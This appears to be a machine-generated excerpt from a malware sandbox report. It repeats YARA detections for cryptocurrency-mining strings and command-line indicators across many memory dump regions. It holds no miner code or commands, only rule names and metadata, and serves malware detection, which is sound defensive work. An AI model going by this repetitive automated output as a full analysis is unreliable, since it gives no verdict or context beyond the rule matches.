    Source: 0000001D.00000002.96489111177.00000000040FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96504242508.00000000041AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96504242508.00000000041AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96495656268.000000000414A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96495656268.000000000414A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96508416582.00000000041E2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96508416582.00000000041E2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96511250504.000000000420A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96511250504.000000000420A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96507847585.00000000041DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96507847585.00000000041DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96499720438.0000000004178000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96499720438.0000000004178000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96495952913.000000000414E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96495952913.000000000414E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96503809395.00000000041A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96503809395.00000000041A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96525802906.00000000042B6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96525802906.00000000042B6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96514229404.000000000422C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96514229404.000000000422C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96510987023.0000000004206000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96510987023.0000000004206000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96509637486.00000000041F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96509637486.00000000041F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96509367811.00000000041EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96509367811.00000000041EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96484291302.00000000040CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96484291302.00000000040CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96516569823.0000000004248000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96516569823.0000000004248000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96505011287.00000000041B6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96505011287.00000000041B6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96523003554.0000000004292000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96523003554.0000000004292000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96519269299.000000000426C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96519269299.000000000426C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96508724996.00000000041E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96508724996.00000000041E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96493821500.0000000004136000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96493821500.0000000004136000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96485642447.00000000040DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96485642447.00000000040DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000000D.00000002.96418311604.00000264AD390000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000000D.00000002.96418311604.00000264AD390000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96500459470.0000000004180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96500459470.0000000004180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96491263772.000000000411A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96491263772.000000000411A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96490205304.000000000410E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96490205304.000000000410E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96470845073.0000000004019000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96470845073.0000000004019000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96492560596.0000000004126000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96492560596.0000000004126000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96523539172.000000000429A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96523539172.000000000429A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96488694715.00000000040FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96488694715.00000000040FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96486043675.00000000040E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96486043675.00000000040E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96492928220.000000000412A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96492928220.000000000412A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96502795991.000000000419C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96502795991.000000000419C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96517135824.0000000004250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96517135824.0000000004250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96482100911.00000000040B4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96482100911.00000000040B4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96502259524.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96502259524.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96494546017.000000000413E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96494546017.000000000413E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96506826752.00000000041CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96506826752.00000000041CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96496549713.0000000004156000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96496549713.0000000004156000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96510224016.00000000041FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96510224016.00000000041FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96518050640.000000000425C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96518050640.000000000425C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96507081750.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96507081750.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96519619571.0000000004270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96519619571.0000000004270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96511530707.000000000420E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96511530707.000000000420E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96486432740.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96486432740.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96498087961.0000000004168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96498087961.0000000004168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96494956682.0000000004142000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96494956682.0000000004142000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96491680354.000000000411E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96491680354.000000000411E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96524423762.00000000042A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96524423762.00000000042A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96501508624.000000000418C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96501508624.000000000418C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96516178254.0000000004244000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
